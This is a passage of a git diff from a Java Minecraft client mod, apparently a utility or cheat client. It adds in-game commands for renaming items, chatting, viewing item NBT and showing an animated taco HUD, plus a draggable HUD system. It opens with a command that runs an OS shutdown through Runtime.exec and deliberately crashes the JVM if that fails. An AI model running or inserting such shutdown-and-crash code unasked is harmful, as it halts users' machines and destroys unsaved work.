shutdownCommand = "shutdown -y -i5 -g" + t;
|
||||
} else if (SystemUtils.IS_OS_WINDOWS) {
|
||||
shutdownCommand = "shutdown.exe /s /t " + t;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
|
||||
Runtime.getRuntime().exec(shutdownCommand);
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
try {
|
||||
boolean i = shutdown(0);
|
||||
if (!i) {
|
||||
throw new Exception();
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
GlfwUtil.makeJvmCrash();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import net.minecraft.text.Text;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
public class Rename extends Command {
|
||||
|
||||
public Rename() {
|
||||
super("Rename", "Renames an item (requires creative)", "rename", "rn", "name");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"(new item name)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
error("I need a new name dude");
|
||||
error("example: rename &c<he &afunny");
|
||||
return;
|
||||
}
|
||||
if (Objects.requireNonNull(SipoverPrivate.client.player).getInventory().getMainHandStack().isEmpty()) {
|
||||
error("idk if you're holding anything");
|
||||
return;
|
||||
}
|
||||
SipoverPrivate.client.player.getInventory().getMainHandStack().setCustomName(Text.of("§r" + String.join(" ", args).replaceAll("&", "§")));
|
||||
}
|
||||
}
|
|
@ -0,0 +1,33 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
public class Say extends Command {
|
||||
|
||||
public Say() {
|
||||
super("Say", "Says something in chat", "say", "tell");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"(message)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
error("not sure if i can say nothing");
|
||||
return;
|
||||
}
|
||||
Objects.requireNonNull(SipoverPrivate.client.player).sendChatMessage(String.join(" ", args));
|
||||
}
|
||||
}
|
266
src/main/java/me/x150/sipprivate/feature/command/impl/Taco.java
Normal file
266
src/main/java/me/x150/sipprivate/feature/command/impl/Taco.java
Normal file
|
@ -0,0 +1,266 @@
|
|||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import com.google.gson.Gson;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.texture.NativeImage;
|
||||
import net.minecraft.client.texture.NativeImageBackedTexture;
|
||||
import net.minecraft.util.Identifier;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.apache.logging.log4j.Level;
|
||||
import org.lwjgl.BufferUtils;
|
||||
|
||||
import javax.imageio.ImageIO;
|
||||
import java.awt.image.BufferedImage;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class Taco extends Command {
|
||||
public static final File storage = new File(SipoverPrivate.BASE, "taco.sip");
|
||||
public static final List<Frame> frames = new ArrayList<>();
|
||||
public static final AtomicBoolean init = new AtomicBoolean(false);
|
||||
static final File gifPath = new File(SipoverPrivate.BASE, "tacoFrames");
|
||||
public static TacoConfig config = new TacoConfig();
|
||||
public static long currentFrame = 0;
|
||||
static final Thread ticker = new Thread(() -> {
|
||||
while (true) {
|
||||
long sleepTime = 1000 / config.fps;
|
||||
currentFrame++;
|
||||
if (currentFrame >= frames.size()) {
|
||||
currentFrame = 0;
|
||||
}
|
||||
Utils.sleep(sleepTime);
|
||||
}
|
||||
});
|
||||
|
||||
public Taco() {
|
||||
super("Taco", "Config for the taco hud", "taco");
|
||||
Events.registerEventHandler(EventType.CONFIG_SAVE, event -> saveConfig());
|
||||
Events.registerEventHandler(EventType.POST_INIT, event -> { // we in game, context is made, we can make textures
|
||||
if (!init.get()) {
|
||||
initFramesAndConfig();
|
||||
}
|
||||
init.set(true);
|
||||
});
|
||||
}
|
||||
|
||||
static void initFramesAndConfig() {
|
||||
if (init.get()) {
|
||||
throw new IllegalStateException();
|
||||
}
|
||||
try {
|
||||
ticker.start();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
try {
|
||||
if (!storage.isFile()) {
|
||||
//noinspection ResultOfMethodCallIgnored
|
||||
storage.delete();
|
||||
}
|
||||
if (!storage.exists()) {
|
||||
//noinspection ResultOfMethodCallIgnored
|
||||
storage.createNewFile();
|
||||
SipoverPrivate.log(Level.INFO, "Skipping taco config file because it doesnt exist");
|
||||
return;
|
||||
}
|
||||
String a = FileUtils.readFileToString(storage, StandardCharsets.UTF_8);
|
||||
Gson gson = new Gson();
|
||||
config = gson.fromJson(a, TacoConfig.class);
|
||||
if (config == null) {
|
||||
config = new TacoConfig();
|
||||
}
|
||||
initFrames();
|
||||
} catch (Exception e) {
|
||||
SipoverPrivate.log(Level.ERROR, "Failed to read taco config");
|
||||
e.printStackTrace();
|
||||
if (storage.exists()) {
|
||||
//noinspection ResultOfMethodCallIgnored
|
||||
storage.delete();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void initFrames() throws Exception {
|
||||
checkGifPath();
|
||||
for (Frame frame : frames) {
|
||||
SipoverPrivate.client.getTextureManager().destroyTexture(frame.getI());
|
||||
}
|
||||
frames.clear();
|
||||
Frame.frameCounter = 0;
|
||||
File[] a = Objects.requireNonNull(gifPath.listFiles()).clone();
|
||||
List<String> framesSorted = Arrays.stream(a).map(File::getName).sorted().collect(Collectors.toList());
|
||||
for (String file : framesSorted) {
|
||||
File f = Arrays.stream(a).filter(file1 -> file1.getName().equals(file)).findFirst().orElseThrow();
|
||||
BufferedImage bi = ImageIO.read(f);
|
||||
Frame now = new Frame(bi);
|
||||
frames.add(now);
|
||||
}
|
||||
}
|
||||
|
||||
public static Frame getCurrentFrame() {
|
||||
if (currentFrame >= frames.size()) {
|
||||
currentFrame = 0;
|
||||
}
|
||||
if (frames.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return frames.get((int) currentFrame);
|
||||
}
|
||||
|
||||
static void saveConfig() {
|
||||
Gson gson = new Gson();
|
||||
String json = gson.toJson(config);
|
||||
try {
|
||||
FileUtils.writeStringToFile(storage, json, StandardCharsets.UTF_8);
|
||||
} catch (Exception e) {
|
||||
SipoverPrivate.log(Level.ERROR, "Failed to write taco config");
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static void copyGifFiles(File f) {
|
||||
for (File file : Objects.requireNonNull(gifPath.listFiles())) {
|
||||
//noinspection ResultOfMethodCallIgnored
|
||||
file.delete();
|
||||
}
|
||||
for (File file : Objects.requireNonNull(f.listFiles())) {
|
||||
try {
|
||||
FileUtils.copyFile(file, new File(gifPath, file.getName()));
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void checkGifPath() {
|
||||
if (!gifPath.isDirectory()) {
|
||||
//noinspection ResultOfMethodCallIgnored
|
||||
gifPath.delete();
|
||||
}
|
||||
if (!gifPath.exists()) {
|
||||
//noinspection ResultOfMethodCallIgnored
|
||||
gifPath.mkdir();
|
||||
}
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"fps", "frames", "toggle"};
|
||||
} else if (args.length == 2) {
|
||||
return switch (args[0].toLowerCase()) {
|
||||
case "fps" -> new String[]{"(new fps)"};
|
||||
case "frames" -> new String[]{"(path to frames folder)"};
|
||||
default -> new String[0];
|
||||
};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
error("Please specify an action");
|
||||
return;
|
||||
}
|
||||
switch (args[0].toLowerCase()) {
|
||||
case "fps" -> {
|
||||
if (args.length < 2) {
|
||||
error("give me the fps lmao");
|
||||
return;
|
||||
}
|
||||
int i = Utils.Math.tryParseInt(args[1], -1);
|
||||
if (i < 1 || i > 1000) {
|
||||
error("fps cant be below 1 or above 1000 mf");
|
||||
return;
|
||||
}
|
||||
config.fps = i;
|
||||
success("set fps to " + i);
|
||||
}
|
||||
case "frames" -> {
|
||||
if (args.length < 2) {
|
||||
error("give me the folder location lmao");
|
||||
return;
|
||||
}
|
||||
File f = new File(String.join(" ", Arrays.copyOfRange(args, 1, args.length)));
|
||||
if (!f.exists()) {
|
||||
error("that folder doesnt exist");
|
||||
return;
|
||||
}
|
||||
if (!f.isDirectory()) {
|
||||
error("has to be a folder with the frames stored in order of appearance, use https://ezgif.com/split to convert the gif");
|
||||
return;
|
||||
}
|
||||
message("Loading gif files, this may take a bit");
|
||||
checkGifPath();
|
||||
message("Copying frames");
|
||||
copyGifFiles(f);
|
||||
try {
|
||||
message("Initializing frames");
|
||||
initFrames();
|
||||
success("Initialized frames!");
|
||||
} catch (Exception e) {
|
||||
error("Failed to init: " + e.getMessage());
|
||||
error("Logs have more detail");
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
case "toggle" -> {
|
||||
config.enabled = !config.enabled;
|
||||
if (config.enabled) {
|
||||
success("Taco is now tacoing");
|
||||
} else {
|
||||
message("Taco is no longer tacoing :(");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class TacoConfig {
|
||||
public long fps = 30;
|
||||
public boolean enabled = false;
|
||||
}
|
||||
|
||||
public static class Frame {
|
||||
static long frameCounter = 0;
|
||||
NativeImageBackedTexture tex;
|
||||
Identifier i;
|
||||
|
||||
public Frame(BufferedImage image) {
|
||||
try {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ImageIO.write(image, "png", baos);
|
||||
byte[] bytes = baos.toByteArray();
|
||||
|
||||
ByteBuffer data = BufferUtils.createByteBuffer(bytes.length).put(bytes);
|
||||
data.flip();
|
||||
tex = new NativeImageBackedTexture(NativeImage.read(data));
|
||||
|
||||
i = new Identifier("atomic", "tacoframe_" + frameCounter);
|
||||
frameCounter++;
|
||||
SipoverPrivate.client.execute(() -> SipoverPrivate.client.getTextureManager().registerTexture(i, tex));
|
||||
} catch (Exception e) {
|
||||
Utils.Logging.error("failed to register frame " + frameCounter);
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Identifier getI() {
|
||||
return i;
|
||||
}
|
||||
|
||||
public NativeImageBackedTexture getTex() {
|
||||
return tex;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class Toggle extends Command {
|
||||
|
||||
public Toggle() {
|
||||
super("Toggle", "Toggles a module", "toggle", "t");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return ModuleRegistry.getModules().stream().map(Module::getName).collect(Collectors.toList()).toArray(String[]::new);
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
error("ima need the module name");
|
||||
return;
|
||||
}
|
||||
Module m = ModuleRegistry.getByName(String.join(" ", args));
|
||||
if (m == null) {
|
||||
error("Module not found bruh");
|
||||
} else {
|
||||
m.toggle();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,128 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.nbt.NbtByte;
|
||||
import net.minecraft.nbt.NbtByteArray;
|
||||
import net.minecraft.nbt.NbtCompound;
|
||||
import net.minecraft.nbt.NbtElement;
|
||||
import net.minecraft.nbt.NbtHelper;
|
||||
import net.minecraft.nbt.NbtInt;
|
||||
import net.minecraft.nbt.NbtIntArray;
|
||||
import net.minecraft.nbt.NbtList;
|
||||
import net.minecraft.nbt.NbtLong;
|
||||
import net.minecraft.nbt.NbtLongArray;
|
||||
import net.minecraft.text.Text;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
public class ViewNbt extends Command {
|
||||
|
||||
int i = 0;
|
||||
|
||||
public ViewNbt() {
|
||||
super("ViewNbt", "Views the nbt data of the current item", "viewnbt", "shownbt");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"(flags)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
boolean formatted = false;
|
||||
boolean copy = false;
|
||||
boolean noColor = false;
|
||||
if (args.length == 0) {
|
||||
message("pro tip: use \"viewnbt help\" to show additional options");
|
||||
} else if (args[0].equalsIgnoreCase("help")) {
|
||||
message("Use flags like these to control what to do with the nbt:");
|
||||
message(" N - Nothing (to skip the help message)");
|
||||
message(" F - Formatted (to format the nbt in a nice way)");
|
||||
message(" C - Copy (to copy the nbt to clipboard)");
|
||||
message(" W - White (to show uncolored nbt)");
|
||||
message("Examples: \".viewnbt FC\" to view a formatted view of the nbt and to copy it to clipboard");
|
||||
message("\".viewnbt CW\" to copy the nbt and show it without colors");
|
||||
return;
|
||||
} else {
|
||||
for (char c : args[0].toLowerCase().toCharArray()) {
|
||||
switch (c) {
|
||||
case 'n' -> {
|
||||
}
|
||||
case 'f' -> formatted = true;
|
||||
case 'c' -> copy = true;
|
||||
case 'w' -> noColor = true;
|
||||
default -> {
|
||||
error("Unknown option '" + c + "'.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (Objects.requireNonNull(SipoverPrivate.client.player).getInventory().getMainHandStack().isEmpty()) {
|
||||
error("you're not holding anything");
|
||||
return;
|
||||
}
|
||||
ItemStack stack = SipoverPrivate.client.player.getInventory().getMainHandStack();
|
||||
NbtCompound c = stack.getNbt();
|
||||
if (!stack.hasNbt() || c == null) {
|
||||
error("stack has no data");
|
||||
return;
|
||||
}
|
||||
if (formatted) {
|
||||
parse(c, "(root)");
|
||||
} else {
|
||||
// I've to use .sendMessage because of monkey minecraft api
|
||||
if (noColor) {
|
||||
SipoverPrivate.client.player.sendMessage(Text.of(c.asString()), false);
|
||||
} else {
|
||||
SipoverPrivate.client.player.sendMessage(NbtHelper.toPrettyPrintedText(c), false);
|
||||
}
|
||||
}
|
||||
if (copy) {
|
||||
SipoverPrivate.client.keyboard.setClipboard(c.asString());
|
||||
success("Copied nbt!");
|
||||
}
|
||||
}
|
||||
|
||||
void parse(NbtElement ne, String componentName) {
|
||||
if (ne instanceof NbtByteArray || ne instanceof NbtCompound || ne instanceof NbtIntArray || ne instanceof NbtList || ne instanceof NbtLongArray) {
|
||||
message(" ".repeat(i) + (componentName == null ? "-" : componentName + ":"));
|
||||
i += 2;
|
||||
if (ne instanceof NbtByteArray array) {
|
||||
for (NbtByte nbtByte : array) {
|
||||
parse(nbtByte, null);
|
||||
}
|
||||
} else if (ne instanceof NbtCompound compound) {
|
||||
for (String key : compound.getKeys()) {
|
||||
NbtElement ne1 = compound.get(key);
|
||||
parse(ne1, key);
|
||||
}
|
||||
} else if (ne instanceof NbtIntArray nbtIntArray) {
|
||||
for (NbtInt nbtInt : nbtIntArray) {
|
||||
parse(nbtInt, null);
|
||||
}
|
||||
} else if (ne instanceof NbtList nbtList) {
|
||||
for (NbtElement nbtElement : nbtList) {
|
||||
parse(nbtElement, null);
|
||||
}
|
||||
} else {
|
||||
NbtLongArray nbtLongArray = (NbtLongArray) ne;
|
||||
for (NbtLong nbtLong : nbtLongArray) {
|
||||
parse(nbtLong, null);
|
||||
}
|
||||
}
|
||||
i -= 2;
|
||||
} else {
|
||||
message(" ".repeat(i) + (componentName == null ? "-" : componentName + ":") + " " + ne.toString().replaceAll("§", "&"));
|
||||
}
|
||||
}
|
||||
}
|
|
@ -24,8 +24,8 @@ public class AtomicConsoleScreen extends ImGuiProxyScreen {
|
|||
public static final Color BACKGROUND = new Color(80, 99, 107);
|
||||
static AtomicConsoleScreen inst = null;
|
||||
final List<LogEntry> logs = new ArrayList<>();
|
||||
ImString current = new ImString();
|
||||
boolean focusBefore = false;
|
||||
final ImString current = new ImString();
|
||||
boolean focusBefore = false;
|
||||
|
||||
private AtomicConsoleScreen() {
|
||||
|
||||
|
@ -84,7 +84,7 @@ public class AtomicConsoleScreen extends ImGuiProxyScreen {
|
|||
List<String> s = getSuggestions(cmd);
|
||||
ImVec2 c = ImGui.getWindowPos();
|
||||
c.y += ImGui.getWindowHeight() + ImGui.getStyle().getWindowPaddingY();
|
||||
ImGui.setNextWindowSizeConstraints(0, 0, 200, 170);
|
||||
ImGui.setNextWindowSizeConstraints(0, 0, 1000, 170);
|
||||
ImGui.begin("cmdSuggestions", ImGuiWindowFlags.AlwaysAutoResize | ImGuiWindowFlags.NoResize | ImGuiWindowFlags.NoDecoration | ImGuiWindowFlags.NoCollapse | ImGuiWindowFlags.NoFocusOnAppearing);
|
||||
|
||||
ImGui.setWindowPos(c.x, c.y);
|
||||
|
|
|
@ -9,7 +9,7 @@ import net.minecraft.text.Text;
|
|||
|
||||
|
||||
public abstract class ImGuiProxyScreen extends Screen {
|
||||
public static boolean imguiDebugWindow = false;
|
||||
public static final boolean imguiDebugWindow = false;
|
||||
boolean closed = false;
|
||||
boolean closedAck = false;
|
||||
|
||||
|
|
|
@ -0,0 +1,163 @@
|
|||
package me.x150.sipprivate.feature.gui.hud;
|
||||
|
||||
import com.google.gson.JsonArray;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
import com.google.gson.JsonParser;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.gui.hud.element.HudElement;
|
||||
import me.x150.sipprivate.feature.gui.hud.element.Taco;
|
||||
import me.x150.sipprivate.feature.gui.hud.element.TargetHUD;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.MouseEvent;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.gui.screen.ChatScreen;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.apache.logging.log4j.Level;
|
||||
|
||||
import java.io.File;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class HudRenderer {
|
||||
|
||||
static final File CONFIG = new File(SipoverPrivate.BASE, "hud.sip");
|
||||
private static HudRenderer INSTANCE;
|
||||
final List<HudElement> elements = register();
|
||||
boolean isEditing = false;
|
||||
boolean mouseHeldDown = false;
|
||||
double prevX = Utils.Mouse.getMouseX();
|
||||
double prevY = Utils.Mouse.getMouseY();
|
||||
double prevWX = SipoverPrivate.client.getWindow().getScaledWidth();
|
||||
double prevWY = SipoverPrivate.client.getWindow().getScaledHeight();
|
||||
|
||||
private HudRenderer() {
|
||||
Events.registerEventHandler(EventType.MOUSE_EVENT, event -> {
|
||||
if (!isEditing) {
|
||||
return;
|
||||
}
|
||||
MouseEvent me = (MouseEvent) event;
|
||||
if (me.getAction() == MouseEvent.MouseEventType.MOUSE_CLICKED) {
|
||||
mouseHeldDown = true;
|
||||
prevX = Utils.Mouse.getMouseX();
|
||||
prevY = Utils.Mouse.getMouseY();
|
||||
for (HudElement element : elements) {
|
||||
if (element.mouseClicked(Utils.Mouse.getMouseX(), Utils.Mouse.getMouseY())) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else if (me.getAction() == MouseEvent.MouseEventType.MOUSE_RELEASED) {
|
||||
mouseHeldDown = false;
|
||||
for (HudElement element : elements) {
|
||||
element.mouseReleased();
|
||||
}
|
||||
}
|
||||
});
|
||||
Events.registerEventHandler(EventType.CONFIG_SAVE, event -> saveConfig());
|
||||
loadConfig();
|
||||
}
|
||||
|
||||
public static HudRenderer getInstance() {
|
||||
if (INSTANCE == null) {
|
||||
INSTANCE = new HudRenderer();
|
||||
}
|
||||
return INSTANCE;
|
||||
}
|
||||
|
||||
static List<HudElement> register() {
|
||||
List<HudElement> he = new ArrayList<>();
|
||||
he.add(new TargetHUD());
|
||||
he.add(new Taco());
|
||||
return he;
|
||||
}
|
||||
|
||||
void saveConfig() {
|
||||
SipoverPrivate.log(Level.INFO, "Saving hud");
|
||||
JsonArray root = new JsonArray();
|
||||
for (HudElement element : elements) {
|
||||
JsonObject current = new JsonObject();
|
||||
current.addProperty("id", element.getId());
|
||||
current.addProperty("px", element.getPosX());
|
||||
current.addProperty("py", element.getPosY());
|
||||
root.add(current);
|
||||
}
|
||||
try {
|
||||
FileUtils.write(CONFIG, root.toString(), StandardCharsets.UTF_8);
|
||||
} catch (Exception ignored) {
|
||||
SipoverPrivate.log(Level.ERROR, "Failed to write hud file");
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("ResultOfMethodCallIgnored") void loadConfig() {
|
||||
SipoverPrivate.log(Level.INFO, "Loading hud");
|
||||
if (!CONFIG.isFile()) {
|
||||
CONFIG.delete();
|
||||
}
|
||||
if (!CONFIG.exists()) {
|
||||
SipoverPrivate.log(Level.INFO, "Skipping hud loading because file doesn't exist");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
String contents = FileUtils.readFileToString(CONFIG, StandardCharsets.UTF_8);
|
||||
JsonArray ja = JsonParser.parseString(contents).getAsJsonArray();
|
||||
for (JsonElement jsonElement : ja) {
|
||||
JsonObject jo = jsonElement.getAsJsonObject();
|
||||
String id = jo.get("id").getAsString();
|
||||
int x = jo.get("px").getAsInt();
|
||||
int y = jo.get("py").getAsInt();
|
||||
for (HudElement element : elements) {
|
||||
if (element.getId().equalsIgnoreCase(id)) {
|
||||
element.setPosX(x);
|
||||
element.setPosY(y);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
SipoverPrivate.log(Level.ERROR, "Failed to read hud file - corrupted?");
|
||||
}
|
||||
SipoverPrivate.log(Level.INFO, "Loaded hud");
|
||||
}
|
||||
|
||||
public void fastTick() {
|
||||
double currentWX = SipoverPrivate.client.getWindow().getScaledWidth();
|
||||
double currentWY = SipoverPrivate.client.getWindow().getScaledHeight();
|
||||
if (currentWX != prevWX) {
|
||||
for (HudElement element : elements) {
|
||||
double px = element.getPosX();
|
||||
double perX = px / prevWX;
|
||||
element.setPosX(currentWX * perX);
|
||||
}
|
||||
prevWX = currentWX;
|
||||
}
|
||||
if (currentWY != prevWY) {
|
||||
for (HudElement element : elements) {
|
||||
double py = element.getPosY();
|
||||
double perY = py / prevWY;
|
||||
element.setPosY(currentWY * perY);
|
||||
}
|
||||
prevWY = currentWY;
|
||||
}
|
||||
isEditing = SipoverPrivate.client.currentScreen instanceof ChatScreen;
|
||||
if (mouseHeldDown) {
|
||||
for (HudElement element : elements) {
|
||||
element.mouseDragged(Utils.Mouse.getMouseX() - prevX, Utils.Mouse.getMouseY() - prevY);
|
||||
}
|
||||
prevX = Utils.Mouse.getMouseX();
|
||||
prevY = Utils.Mouse.getMouseY();
|
||||
}
|
||||
for (HudElement element : elements) {
|
||||
element.fastTick();
|
||||
}
|
||||
}
|
||||
|
||||
public void render() {
|
||||
for (HudElement element : elements) {
|
||||
element.render();
|
||||
if (isEditing) {
|
||||
element.renderOutline();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,110 @@
|
|||
package me.x150.sipprivate.feature.gui.hud.element;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.helper.font.FontRenderers;
|
||||
import me.x150.sipprivate.helper.render.Renderer;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.util.math.MathHelper;
|
||||
|
||||
import java.awt.Color;
|
||||
|
||||
public abstract class HudElement {
|
||||
|
||||
static final MatrixStack stack = new MatrixStack();
|
||||
final double width;
|
||||
final double height;
|
||||
final String id;
|
||||
double posX, posY;
|
||||
boolean selected = false;
|
||||
|
||||
public HudElement(String id, double x, double y, double w, double h) {
|
||||
this.posX = x;
|
||||
this.posY = y;
|
||||
this.width = w;
|
||||
this.height = h;
|
||||
this.id = id;
|
||||
}
|
||||
|
||||
public String getId() {
|
||||
return id;
|
||||
}
|
||||
|
||||
public double getPosX() {
|
||||
return posX;
|
||||
}
|
||||
|
||||
public void setPosX(double posX) {
|
||||
this.posX = posX;
|
||||
}
|
||||
|
||||
public double getPosY() {
|
||||
return posY;
|
||||
}
|
||||
|
||||
public void setPosY(double posY) {
|
||||
this.posY = posY;
|
||||
}
|
||||
|
||||
float timeOffset(double in) {
|
||||
return (float) (((System.currentTimeMillis() % 4000) / 4000f + in) % 1);
|
||||
}
|
||||
|
||||
public void renderOutline() {
|
||||
|
||||
// double timeOffset = (System.currentTimeMillis()%1000)/1000d;
|
||||
Color v1 = Color.getHSBColor(timeOffset(0), 0.6f, 1f);
|
||||
Color v2 = Color.getHSBColor(timeOffset(0.25), 0.6f, 1f);
|
||||
Color v3 = Color.getHSBColor(timeOffset(0.5), 0.6f, 1f);
|
||||
Color v4 = Color.getHSBColor(timeOffset(0.75), 0.6f, 1f);
|
||||
|
||||
Renderer.R2D.gradientLineScreen(v1, v2, posX, posY, posX + width, posY);
|
||||
Renderer.R2D.gradientLineScreen(v2, v3, posX + width, posY, posX + width, posY + height);
|
||||
Renderer.R2D.gradientLineScreen(v3, v4, posX + width, posY + height, posX, posY + height);
|
||||
Renderer.R2D.gradientLineScreen(v4, v1, posX, posY + height, posX, posY);
|
||||
|
||||
double rpoY = posY - FontRenderers.getNormal().getFontHeight();
|
||||
if (posY < FontRenderers.getNormal().getFontHeight()) { // too small to render text properly
|
||||
rpoY = posY + height;
|
||||
}
|
||||
FontRenderers.getNormal().drawString(Renderer.R3D.getEmptyMatrixStack(), id, posX, rpoY, 0xFFFFFF);
|
||||
}
|
||||
|
||||
public abstract void renderIntern(MatrixStack stack);
|
||||
|
||||
public void render() {
|
||||
stack.push();
|
||||
stack.translate(posX, posY, 0);
|
||||
renderIntern(stack);
|
||||
stack.pop();
|
||||
}
|
||||
|
||||
public boolean mouseClicked(double x, double y) {
|
||||
if (inBounds(x, y)) {
|
||||
selected = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public void mouseReleased() {
|
||||
this.selected = false;
|
||||
}
|
||||
|
||||
public void mouseDragged(double deltaX, double deltaY) {
|
||||
if (selected) {
|
||||
this.posX += deltaX;
|
||||
this.posY += deltaY;
|
||||
this.posX = MathHelper.clamp(this.posX, 0, SipoverPrivate.client.getWindow().getScaledWidth() - this.width);
|
||||
this.posY = MathHelper.clamp(this.posY, 0, SipoverPrivate.client.getWindow().getScaledHeight() - this.height);
|
||||
}
|
||||
}
|
||||
|
||||
boolean inBounds(double mx, double my) {
|
||||
return mx >= posX && mx < posX + width && my >= posY && my < posY + height;
|
||||
}
|
||||
|
||||
public void fastTick() {
|
||||
this.posX = MathHelper.clamp(this.posX, 0, SipoverPrivate.client.getWindow().getScaledWidth() - this.width);
|
||||
this.posY = MathHelper.clamp(this.posY, 0, SipoverPrivate.client.getWindow().getScaledHeight() - this.height);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,33 @@
|
|||
package me.x150.sipprivate.feature.gui.hud.element;
|
||||
|
||||
import com.mojang.blaze3d.systems.RenderSystem;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.helper.font.FontRenderers;
|
||||
import net.minecraft.client.gui.DrawableHelper;
|
||||
import net.minecraft.client.render.GameRenderer;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.util.Identifier;
|
||||
|
||||
public class Taco extends HudElement {
|
||||
public Taco() {
|
||||
